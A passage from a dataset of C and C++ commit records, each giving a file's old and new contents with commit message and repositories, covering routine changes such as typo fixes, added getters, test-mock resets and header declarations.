*CreateXBeeSyncServer();\nModelSync *CreateXBeeSyncClient();\n\n#endif\n","subject":"Add missing destructor bodies... oops","message":"[sync] Add missing destructor bodies... oops\n","lang":"C","license":"bsd-3-clause","repos":"Navisjon\/uwh-display,jroelofs\/uwh-display,Navisjon\/uwh-display,jroelofs\/uwh-display,Navisjon\/uwh-display,jroelofs\/uwh-display,Navisjon\/uwh-display"}
{"commit":"cddefbcae9e86420f4f98646a49ea4ff2fa1a6b0","old_file":"app\/include\/u8g2_fonts.h","new_file":"app\/include\/u8g2_fonts.h","old_contents":"\n#ifndef _U8G2_FONTS_H\n#define _U8G2_FONTS_H\n\n#define U8G2_FONT_TABLE_ENTRY(font)\n\n\/\/ ***************************************************************************\n\/\/ Configure U8glib fonts\n\/\/\n#ifndef U8G2_FONT_TABLE_EXTRA\n\/\/\n\/\/ Add a U8G2_FONT_TABLE_ENTRY for each font you want to compile into the image\n#define U8G2_FONT_TABLE \\\n  U8G2_FONT_TABLE_ENTRY(font_6x10_tf) \\\n  U8G2_FONT_TABLE_ENTRY(font_unifont_t_symbols) \\\n\n#else\n\/\/\n\/\/ The font table can be defined in an external file. \n#define U8G2_FONT_TABLE \\\n  U8G2_FONT_TABLE_EXTRA\n\n#endif\n\/\/ ***************************************************************************\n\n\n#endif \/* _U8G2_FONTS_H *\/\n","new_contents":"\n#ifndef _U8G2_FONTS_H\n#define _U8G2_FONTS_H\n\n#define U8G2_FONT_TABLE_ENTRY(font)\n\n\/\/ ***************************************************************************\n\/\/ Configure U8glib fonts\n\/\/\n#ifndef U8G2_FONT_TABLE_EXTRA\n\/\/\n\/\/ Add a U8G2_FONT_TABLE_ENTRY for each font you want to compile into the image\n\/\/ See https:\/\/github.com\/olikraus\/u8g2\/wiki\/fntlistall for a complete list of\n\/\/ available fonts. Drop the 'u8g2_' prefix when you add them here.\n#define U8G2_FONT_TABLE \\\n  U8G2_FONT_TABLE_ENTRY(font_6x10_tf) \\\n  U8G2_FONT_TABLE_ENTRY(font_unifont_t_symbols) \\\n\n#else\n\/\/\n\/\/ The font table can be defined in an external file. \n#define U8G2_FONT_TABLE \\\n  U8G2_FONT_TABLE_EXTRA\n\n#endif\n\/\/ ***************************************************************************\n\n\n#endif \/* _U8G2_FONTS_H *\/\n","subject":"Add comment for font list","message":"Add comment for font list\n","lang":"C","license":"mit","repos":"marcelstoer\/nodemcu-firmware,FelixPe\/nodemcu-firmware,nwf\/nodemcu-firmware,HEYAHONG\/nodemcu-firmware,nodemcu\/nodemcu-firmware,eku\/nodemcu-firmware,TerryE\/nodemcu-firmware,vsky279\/nodemcu-firmware,marcelstoer\/nodemcu-firmware,devsaurus\/nodemcu-firmware,eku\/nodemcu-firmware,FelixPe\/nodemcu-firmware,vsky279\/nodemcu-firmware,marcelstoer\/nodemcu-firmware,HEYAHONG\/nodemcu-firmware,nodemcu\/nodemcu-firmware,HEYAHONG\/nodemcu-firmware,FelixPe\/nodemcu-firmware,vsky279\/nodemcu-firmware,marcelstoer\/nodemcu-firmware,nodemcu\/nodemcu-firmware,devsaurus\/nodemcu-firmware,devsaurus\/nodemcu-firmware,devsaurus\/nodemcu-firmware,vsky279\/nodemcu-firmware,marcelstoer\/nodemcu-firmware,TerryE\/nodemcu-firmware,nodemcu\/nodemcu-firmware,FelixPe\/nodemcu-firmware,nwf\/nodemcu-firmware,nwf\/nodemcu-firmware,TerryE\/nodemcu-firmware,TerryE\/nodemcu-firmware,HEYAHONG\/nodemcu-firmware,eku\/nodemcu-firmware,nodemcu\/nodemcu-firmware,FelixPe\/nodemcu-firmware,HEYAHONG\/nodemcu-firmware,nwf\/nodemcu-firmware,TerryE\/nodemcu-firmware,nwf\/nodemcu-firmware,vsky279\/nodemcu-firmware,devsaurus\/nodemcu-firmware,eku\/nodemcu-firmware"}
{"commit":"8d0c966cb3b23c9383c76d7bd919fff09702cc31","old_file":"include\/gvki\/Debug.h","new_file":"include\/gvki\/Debug.h","old_contents":"#ifndef GVKILL_DEBUG_H\n#define GVKILL_DEBUG_H\n#include <cstdlib>\n#include <iostream>\n\n\/\/ FIXME: These need to be made Windows comptabile\n#define DEBUG(X) if (getenv(\"GVKI_DEBUG\") != NULL) X\n#define DEBUG_MSG(X) DEBUG( std::cerr << \"\\033[32m***GVKILL:\" << X  << \"***\\033[0m\" << std::endl)\n\n\/\/ FIXME: This belongs in its own header file\n#define ERROR_MSG(X) std::cerr << \"\\033[31m**GVKILL ERROR:\" << X << \"***\\033\\[0m\" << std::endl\n\n#endif\n","new_contents":"#ifndef GVKILL_DEBUG_H\n#define GVKILL_DEBUG_H\n#include <cstdlib>\n#include <iostream>\n\n\/\/ FIXME: These need to be made Windows comptabile\n#define DEBUG(X) if (getenv(\"GVKI_DEBUG\") != NULL) X\n#define DEBUG_MSG(X) DEBUG( std::cerr << \"\\033[32m***GVKI:\" << X  << \"***\\033[0m\" << std::endl)\n\n\/\/ FIXME: This belongs in its own header file\n#define ERROR_MSG(X) std::cerr << \"\\033[31m**GVKI ERROR:\" << X << \"***\\033\\[0m\" << std::endl\n\n#endif\n","subject":"Fix typos in DEBUG_MSG and ERROR_MSG macros","message":"Fix typos in DEBUG_MSG and ERROR_MSG macros\n","lang":"C","license":"bsd-3-clause","repos":"mc-imperial\/gvki,mc-imperial\/gvki,giuliojiang\/gvki,giuliojiang\/gvki,mc-imperial\/gvki,giuliojiang\/gvki"}
{"commit":"2c7e76f27ac4b36c2d0afa56403d0f52da56c6b2","old_file":"src\/x86\/Gget_proc_info-x86.c","new_file":"src\/x86\/Gget_proc_info-x86.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (C) 2002 Hewlett-Packard Co\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include \"unwind_i.h\"\n\nint\nunw_get_proc_info (unw_cursor_t *cursor, unw_proc_info_t *pi)\n{\n  struct cursor *c = (struct cursor *) cursor;\n#if 0\n  int ret;\n#endif\n\n  memset (pi, 0, sizeof (*pi));\n  pi->start_ip = c->eip;\n  pi->end_ip = c->eip + 1;\n\n#if 0\n  if ((ret = ia64_make_proc_info (c)) < 0)\n    return ret;\n#endif\n  return 0;\n}\n","subject":"Implement a minimalistic version for x86.","message":"(unw_get_proc_info): Implement a minimalistic version for x86.\n\n(Logical change 1.81)\n","lang":"C","license":"mit","repos":"project-zerus\/libunwind,Keno\/libunwind,lat\/libunwind,evaautomation\/libunwind,android-ia\/platform_external_libunwind,geekboxzone\/lollipop_external_libunwind,cloudius-systems\/libunwind,geekboxzone\/lollipop_external_libunwind,frida\/libunwind,atanasyan\/libunwind-android,zliu2014\/libunwind-tilegx,rogwfu\/libunwind,rntz\/libunwind,dreal-deps\/libunwind,dropbox\/libunwind,geekboxzone\/mmallow_external_libunwind,rantala\/libunwind,0xlab\/0xdroid-external_libunwind,cms-externals\/libunwind,tony\/libunwind,SyndicateRogue\/libunwind,yuyichao\/libunwind,0xlab\/0xdroid-external_libunwind,olibc\/libunwind,maltek\/platform_external_libunwind,rantala\/libunwind,mpercy\/libunwind,atanasyan\/libunwind,zeldin\/platform_external_libunwind,dreal-deps\/libunwind,martyone\/libunwind,igprof\/libunwind,SyndicateRogue\/libunwind,frida\/libunwind,android-ia\/platform_external_libunwind,djwatson\/libunwind,vtjnash\/libunwind,rntz\/libunwind,adsharma\/libunwind,dropbox\/libunwind,libunwind\/libunwind,Chilledheart\/libunwind,lat\/libunwind,zliu2014\/libunwind-tilegx,yuyichao\/libunwind,olibc\/libunwind,tkelman\/libunwind,wdv4758h\/libunwind,evaautomation\/libunwind,mpercy\/libunwind,atanasyan\/libunwind-android,lat\/libunwind,geekboxzone\/mmallow_external_libunwind,jrmuizel\/libunwind,bo-on-software\/libunwind,mpercy\/libunwind,atanasyan\/libunwind-android,CyanogenMod\/android_external_libunwind,vegard\/libunwind,tronical\/libunwind,igprof\/libunwind,CyanogenMod\/android_external_libunwind,djwatson\/libunwind,libunwind\/libunwind,pathscale\/libunwind,libunwind\/libunwind,djwatson\/libunwind,Keno\/libunwind,androidarmv6\/android_external_libunwind,bo-on-software\/libunwind,ehsan\/libunwind,krytarowski\/libunwind,cloudius-systems\/libunwind,SyndicateRogue\/libunwind,tony\/libunwind,martyone\/libunwind,tony\/libunwind,joyent\/libunwind,martyone\/libunwind,DroidSim\/platform_external_libunwind,maltek\/platform_external_libunwind,project-zerus\/libunwind,adsharma\/libunwind,unkadoug\/libunwind,dagar\/libunwind,Chilledheart\/libunwind,Keno\/libunwind,pathscale\/libunwind,fdoray\/libunwind,ehsan\/libunwind,jrmuizel\/libunwind,cms-externals\/libunwind,fdoray\/libunwind,androidarmv6\/android_external_libunwind,zliu2014\/libunwind-tilegx,android-ia\/platform_external_libunwind,0xlab\/0xdroid-external_libunwind,vegard\/libunwind,rogwfu\/libunwind,krytarowski\/libunwind,rogwfu\/libunwind,tkelman\/libunwind,CyanogenMod\/android_external_libunwind,geekboxzone\/lollipop_external_libunwind,joyent\/libunwind,DroidSim\/platform_external_libunwind,unkadoug\/libunwind,zeldin\/platform_external_libunwind,fdoray\/libunwind,atanasyan\/libunwind,krytarowski\/libunwind,Chilledheart\/libunwind,maltek\/platform_external_libunwind,geekboxzone\/mmallow_external_libunwind,jrmuizel\/libunwind,cms-externals\/libunwind,dropbox\/libunwind,evaautomation\/libunwind,yuyichao\/libunwind,unkadoug\/libunwind,tronical\/libunwind,zeldin\/platform_external_libunwind,androidarmv6\/android_external_libunwind,vegard\/libunwind,fillexen\/libunwind,project-zerus\/libunwind,dagar\/libunwind,vtjnash\/libunwind,bo-on-software\/libunwind,ehsan\/libunwind,dagar\/libunwind,olibc\/libunwind,wdv4758h\/libunwind,rntz\/libunwind,wdv4758h\/libunwind,fillexen\/libunwind,igprof\/libunwind,vtjnash\/libunwind,fillexen\/libunwind,rantala\/libunwind,joyent\/libunwind,cloudius-systems\/libunwind,DroidSim\/platform_external_libunwind,dreal-deps\/libunwind,atanasyan\/libunwind,pathscale\/libunwind,tronical\/libunwind,adsharma\/libunwind,frida\/libunwind,tkelman\/libunwind"}
{"commit":"cb6f7f153352d83d52ee0c5c35ab11845b072512","old_file":"zephyr\/test\/drivers\/src\/test_mocks.c","new_file":"zephyr\/test\/drivers\/src\/test_mocks.c","old_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"test_mocks.h\"\n\nDEFINE_FFF_GLOBALS;\n\n\/* Mocks for common\/init_rom.c *\/\nDEFINE_FAKE_VALUE_FUNC(const void *, init_rom_map, const void *, int);\nDEFINE_FAKE_VOID_FUNC(init_rom_unmap, const void *, int);\nDEFINE_FAKE_VALUE_FUNC(int, init_rom_copy, int, int, int);\n","new_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <ztest.h>\n\n#include \"test_mocks.h\"\n\nDEFINE_FFF_GLOBALS;\n\n\/* Mocks for common\/init_rom.c *\/\nDEFINE_FAKE_VALUE_FUNC(const void *, init_rom_map, const void *, int);\nDEFINE_FAKE_VOID_FUNC(init_rom_unmap, const void *, int);\nDEFINE_FAKE_VALUE_FUNC(int, init_rom_copy, int, int, int);\n\n\/**\n * @brief Reset all the fakes before each test.\n *\/\nstatic void fff_reset_rule_before(const struct ztest_unit_test *test,\n\t\t\t\t  void *data)\n{\n\tARG_UNUSED(test);\n\tARG_UNUSED(data);\n\n\tRESET_FAKE(init_rom_map);\n\tRESET_FAKE(init_rom_unmap);\n\tRESET_FAKE(init_rom_copy);\n}\n\nZTEST_RULE(fff_reset_rule, fff_reset_rule_before, NULL);\n","subject":"Add a test rule to reset the FFF fakes","message":"zephyr: Add a test rule to reset the FFF fakes\n\nAdd a test rule to reset all the fakes so that tests no longer\nhave to be responsible for it.\n\nBRANCH=none\nBUG=none\nTEST=zmake configure --clobber --test test-drivers\n\nSigned-off-by: Yuval Peress <50dc11c009bd4d7e9d9d15a383c1743ce5ee82ef@google.com>\nChange-Id: Ifbb9107aec843b5b127e8842ac4fc5c0e4c8086b\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/3500299\nReviewed-by: Jeremy Bettis <4df7b5147fee087dca33c181f288ee7dbf56e022@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"f2e0239a6d615477e783bf413d5dde860f2b12de","old_file":"MdePkg\/Library\/PeiServicesTablePointerLib\/PeiServicesTablePointerInternal.h","new_file":"MdePkg\/Library\/PeiServicesTablePointerLib\/PeiServicesTablePointerInternal.h","old_contents":"\/** @file\r\n  Internal Header file for PEI Services Table Pointer Library.\r\n\r\n  Copyright (c) 2006, Intel Corporation<BR>\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef _PEI_SERVICE_TABLE_POINTER_INTERNAL_H_\r\n#define _PEI_SERVICE_TABLE_POINTER_INTERNAL_H_\r\n\/**\r\n  The constructor function caches the pointer to PEI services.\r\n  \r\n  The constructor function caches the pointer to PEI services.\r\n  It will always return EFI_SUCCESS.\r\n\r\n  @param  FfsHeader   Pointer to FFS header the loaded driver.\r\n  @param  PeiServices Pointer to the PEI services.\r\n\r\n  @retval EFI_SUCCESS   The constructor always returns EFI_SUCCESS.\r\n\r\n**\/\r\nEFI_STATUS\r\nEFIAPI\r\nPeiServicesTablePointerLibConstructor (\r\n  IN EFI_PEI_FILE_HANDLE  *FfsHeader,\r\n  IN EFI_PEI_SERVICES     **PeiServices\r\n  )\r\n;\r\n#endif\r\n","new_contents":"\/** @file\r\n  Internal Header file for PEI Services Table Pointer Library.\r\n\r\n  Copyright (c) 2006, Intel Corporation<BR>\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef _PEI_SERVICE_TABLE_POINTER_INTERNAL_H_\r\n#define _PEI_SERVICE_TABLE_POINTER_INTERNAL_H_\r\n\/**\r\n  The constructor function caches the pointer to PEI services.\r\n  \r\n  The constructor function caches the pointer to PEI services.\r\n  It will always return EFI_SUCCESS.\r\n\r\n  @param  FfsHeader   Pointer to FFS header the loaded driver.\r\n  @param  PeiServices Pointer to the PEI services.\r\n\r\n  @retval EFI_SUCCESS   The constructor always returns EFI_SUCCESS.\r\n\r\n**\/\r\nEFI_STATUS\r\nEFIAPI\r\nPeiServicesTablePointerLibConstructor (\r\n  IN EFI_PEI_FILE_HANDLE  FileHandle,\r\n  IN EFI_PEI_SERVICES     **PeiServices\r\n  )\r\n;\r\n#endif\r\n","subject":"Fix the constructor typo. The new type should follow PI spec.","message":"Fix the constructor typo. The new type should follow PI spec.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@4363 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"bcf3710e675c279e04aa90ef12f97f3b686597c7","old_file":"Router\/RTRNodeState.h","new_file":"Router\/RTRNodeState.h","old_contents":"\/\/\n\/\/  RTRNodeState.h\n\/\/  Router\n\/\/\n\/\/  Created by Nick Tymchenko on 14\/09\/15.\n\/\/  Copyright (c) 2015 Pixty. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef NS_ENUM(NSInteger, RTRNodeState) {\n    RTRNodeStateNotInitialized = 0,\n    RTRNodeStateInactive = 1,\n    RTRNodeStateDeactivating = 2,\n    RTRNodeStateActivating = 3,\n    RTRNodeStateActive = 4\n};","new_contents":"\/\/\n\/\/  RTRNodeState.h\n\/\/  Router\n\/\/\n\/\/  Created by Nick Tymchenko on 14\/09\/15.\n\/\/  Copyright (c) 2015 Pixty. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef NS_ENUM(NSInteger, RTRNodeState) {\n    RTRNodeStateNotInitialized = 0,\n    RTRNodeStateInactive = 1,\n    RTRNodeStateDeactivating = 2,\n    RTRNodeStateActivating = 3,\n    RTRNodeStateActive = 4\n};\n\n\nstatic inline BOOL RTRNodeStateIsInitialized(RTRNodeState state) {\n    return state != RTRNodeStateNotInitialized;\n}\n\nstatic inline BOOL RTRNodeStateIsTransitioning(RTRNodeState state) {\n    return state == RTRNodeStateDeactivating || state == RTRNodeStateActivating;\n}","subject":"Add helper functions for state","message":"Add helper functions for state\n","lang":"C","license":"mit","repos":"joomcode\/Lighthouse,pixty\/Lighthouse,joomcode\/Lighthouse,pixty\/Router"}
{"commit":"cedf3c0a047f818410de34a2121cda23bafc8edc","old_file":"applications\/sort\/grappa\/npb_intsort.h","new_file":"applications\/sort\/grappa\/npb_intsort.h","old_contents":"","new_contents":"\nenum npb_class                  {  S,  W,  A,  B,  C,  D };\nstatic const int NKEY_LOG2[]    = { 16, 20, 23, 25, 27, 29 };\nstatic const int MAX_KEY_LOG2[] = { 11, 16, 19, 21, 23, 27 };\nstatic const int NBUCKET_LOG2[] = { 10, 10, 10, 10, 10, 10 };\n\ninline npb_class get_npb_class(char c) {\n  switch (c) {\n    case 'S': return S;\n    case 'W': return W;\n    case 'A': return A;\n    case 'B': return B;\n    case 'C': return C;\n    case 'D': return D;\n  }\n}\n\n","subject":"Add support for NPB classes.","message":"Sort: Add support for NPB classes.\n","lang":"C","license":"bsd-3-clause","repos":"buaasun\/grappa,buaasun\/grappa,buaasun\/grappa,alexfrolov\/grappa,uwsampa\/grappa,alexfrolov\/grappa,buaasun\/grappa,buaasun\/grappa,uwsampa\/grappa,alexfrolov\/grappa,uwsampa\/grappa,alexfrolov\/grappa,uwsampa\/grappa,alexfrolov\/grappa,uwsampa\/grappa,alexfrolov\/grappa,alexfrolov\/grappa,uwsampa\/grappa,buaasun\/grappa,buaasun\/grappa,uwsampa\/grappa"}
{"commit":"958bfb18a876a10d862ba71a34c67bf15ccf3274","old_file":"src\/parse_git_st.h","new_file":"src\/parse_git_st.h","old_contents":"#ifndef __PARSE_GIT_ST_H\n#define __PARSE_GIT_ST_H\n\n#include <vector>\n#include <string>\n\nconst int PIPE_LINE_BUFFER_SIZE = 256;\n\nclass GitStatusParser {\n    std::vector<std::string*> pipe_buffer;\n\n    std::string* branch;\n    std::vector<std::string*> new_files;\n    std::vector<std::string*> modified_files;\n    std::vector<std::string*> untracked_files;\n\n    public:\n\n    GitStatusParser();\n    ~GitStatusParser();\n    void parse();\n\n    private:\n\n    void load();\n    void parseBranch();\n    void parseNewFiles();\n    void parseModifiedFiles();\n    void parseUntrackedFiles();\n\n};\n\n#endif\n","new_contents":"#ifndef __PARSE_GIT_ST_H\n#define __PARSE_GIT_ST_H\n\n#include <vector>\n#include <string>\n\nconst int PIPE_LINE_BUFFER_SIZE = 256;\n\nclass GitStatusParser {\n    std::vector<std::string*> pipe_buffer;\n\n    std::string* branch;\n    std::vector<std::string*> new_files;\n    std::vector<std::string*> modified_files;\n    std::vector<std::string*> untracked_files;\n\n    public:\n\n    GitStatusParser();\n    ~GitStatusParser();\n    void parse();\n\n    std::string* getBranch() { return branch; }\n    std::vector<std::string*> getNewFiles() { return new_files; }\n    std::vector<std::string*> getModifiedFiles() { return modified_files; }\n    std::vector<std::string*> getUntrackedFiles() { return untracked_files; }\n\n    private:\n\n    void load();\n    void parseBranch();\n    void parseNewFiles();\n    void parseModifiedFiles();\n    void parseUntrackedFiles();\n\n};\n\n#endif\n","subject":"Add getters for branch and files.","message":"Add getters for branch and files.\n","lang":"C","license":"mit","repos":"tomaszwojcik\/git-ec,tomaszwojcik\/git-ec"}
{"commit":"ba47f3aadd8375867bad03c508dffa3b3228c67a","old_file":"src\/test.c","new_file":"src\/test.c","old_contents":"#include \"config.h\"\n#include <util\/delay.h>\n\n#include \"usart.h\"\n\nvoid send_block(unsigned bytes, char *buff)\n{\n    for(int i = 0; i < bytes; ++i)\n    {\n        usart_transmit(buff[i]);\n    }\n}\n\nint main(int argc, char **argv)\n{\n    usart_init();\n\n    char msg[] = \"Loading bootloader in 3 seconds.\";\n    send_block(sizeof(msg), msg);\n    _delay_ms(3000);\n\n    typedef void (* fn_ptr_t) (void);\n    fn_ptr_t my_ptr = (fn_ptr_t)0x1800;\n    my_ptr();\n}\n","new_contents":"#include \"config.h\"\n#include <util\/delay.h>\n\n#include \"usart.h\"\n\nvoid send_block(unsigned bytes, char *buff)\n{\n    for(int i = 0; i < bytes; ++i)\n    {\n        usart_transmit(buff[i]);\n    }\n}\n\nint main(int argc, char **argv)\n{\n    usart_init();\n\n    char msg[] = \"Loading bootloader in 3 seconds.\";\n    send_block(sizeof(msg), msg);\n    _delay_ms(3000);\n\n    typedef void (* fn_ptr_t) (void);\n    fn_ptr_t my_ptr = (fn_ptr_t)BOOTLOAD;\n    my_ptr();\n}\n","subject":"Test application was jumping to a wrong address.","message":"Test application was jumping to a wrong address.\n","lang":"C","license":"mit","repos":"MiroslavVitkov\/megaboot,MiroslavVitkov\/megaboot"}
{"commit":"82935dfffaf2a67f2cd6bb30057278fd655947e9","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"","new_contents":"#pragma once\n\nnamespace std {\ntemplate <typename T> auto cbegin(const T &c) { return c.cbegin(); }\ntemplate <typename T> auto crbegin(const T &c) { return c.crbegin(); }\ntemplate <typename T> auto cend(const T &c) { return c.cend(); }\ntemplate <typename T> auto crend(const T &c) { return c.crend(); }\n}\n\n","subject":"Add {c|r}{begin|end} since gcc doesnt know it.","message":"Add {c|r}{begin|end} since gcc doesnt know it.\n","lang":"C","license":"bsd-3-clause","repos":"hannesweisbach\/channelcoding"}
{"commit":"20e037a8c506c9918ffe25e092a6a593187d93d5","old_file":"lib\/Target\/ARM\/ARMTargetObjectFile.h","new_file":"lib\/Target\/ARM\/ARMTargetObjectFile.h","old_contents":"\/\/===-- llvm\/Target\/ARMTargetObjectFile.h - ARM Object Info -----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TARGET_ARM_TARGETOBJECTFILE_H\n#define LLVM_TARGET_ARM_TARGETOBJECTFILE_H\n\n#include \"llvm\/Target\/TargetLoweringObjectFile.h\"\n\nnamespace llvm {\n  \n  class ARMElfTargetObjectFile : public TargetLoweringObjectFileELF {\n  public:\n    ARMElfTargetObjectFile() : TargetLoweringObjectFileELF(true) {}\n    \n    void Initialize(MCContext &Ctx, const TargetMachine &TM) {\n      TargetLoweringObjectFileELF::Initialize(Ctx, TM);\n      \n      \/\/ FIXME: Add new attribute\/flag to MCSection for init_array\/fini_array.\n      \/\/ That will allow not treating these as \"directives\".\n      if (TM.getSubtarget<ARMSubtarget>().isAAPCS_ABI()) {\n        StaticCtorSection =\n          getOrCreateSection(\"\\t.section .init_array,\\\"aw\\\",%init_array\", false,\n                             SectionKind::getDataRel());\n        StaticDtorSection =\n          getOrCreateSection(\"\\t.section .fini_array,\\\"aw\\\",%fini_array\", false,\n                             SectionKind::getDataRel());\n      }\n    }\n  };\n} \/\/ end namespace llvm\n\n#endif\n","new_contents":"\/\/===-- llvm\/Target\/ARMTargetObjectFile.h - ARM Object Info -----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TARGET_ARM_TARGETOBJECTFILE_H\n#define LLVM_TARGET_ARM_TARGETOBJECTFILE_H\n\n#include \"llvm\/Target\/TargetLoweringObjectFile.h\"\n\nnamespace llvm {\n  \n  class ARMElfTargetObjectFile : public TargetLoweringObjectFileELF {\n  public:\n    ARMElfTargetObjectFile() : TargetLoweringObjectFileELF(true) {}\n    \n    void Initialize(MCContext &Ctx, const TargetMachine &TM) {\n      TargetLoweringObjectFileELF::Initialize(Ctx, TM);\n      \n      \/\/ FIXME: Add new attribute\/flag to MCSection for init_array\/fini_array.\n      \/\/ That will allow not treating these as \"directives\".\n      if (TM.getSubtarget<ARMSubtarget>().isAAPCS_ABI()) {\n        StaticCtorSection =\n          getOrCreateSection(\".init_array,\\\"aw\\\",%init_array\", false,\n                             SectionKind::getDataRel());\n        StaticDtorSection =\n          getOrCreateSection(\".fini_array,\\\"aw\\\",%fini_array\", false,\n                             SectionKind::getDataRel());\n      }\n    }\n  };\n} \/\/ end namespace llvm\n\n#endif\n","subject":"Fix a typo - this unbreaks llvm-gcc build on arm","message":"Fix a typo - this unbreaks llvm-gcc build on arm\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@78059 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap"}
{"commit":"82f76d7cbaaa0839555e1054b246a5cc79b6b17d","old_file":"queue.h","new_file":"queue.h","old_contents":"#include <stdlib.h>\n#ifndef __QUEUE_H__\n#define __QUEUE_H__\nstruct Queue;\ntypedef struct Queue Queue;\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __QUEUE_H__\n#define __QUEUE_H__\nstruct Queue;\ntypedef struct Queue Queue;\n\nQueue* Queue_Create(size_t n);\nvoid Queue_Destroy(Queue* q);\nvoid Queue_Enqueue(Queue* q, void* e);\nvoid* Queue_Dequeue(Queue* q);\n#endif","subject":"Add basic operation function declaration","message":"Add basic operation function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"2df15fffc612b53b2c8e4ff3c981a82441bc00ae","old_file":"drivers\/crypto\/padlock.h","new_file":"drivers\/crypto\/padlock.h","old_contents":"\/*\n * Driver for VIA PadLock\n *\n * Copyright (c) 2004 Michal Ludvig <michal@logix.cz>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU General Public License as published by the Free\n * Software Foundation; either version 2 of the License, or (at your option) \n * any later version.\n *\n *\/\n\n#ifndef _CRYPTO_PADLOCK_H\n#define _CRYPTO_PADLOCK_H\n\n#define PADLOCK_ALIGNMENT 16\n\n\/* Control word. *\/\nstruct cword {\n\tint __attribute__ ((__packed__))\n\t\trounds:4,\n\t\talgo:3,\n\t\tkeygen:1,\n\t\tinterm:1,\n\t\tencdec:1,\n\t\tksize:2;\n} __attribute__ ((__aligned__(PADLOCK_ALIGNMENT)));\n\n#define PFX\t\"padlock: \"\n\n#ifdef CONFIG_CRYPTO_DEV_PADLOCK_AES\nint 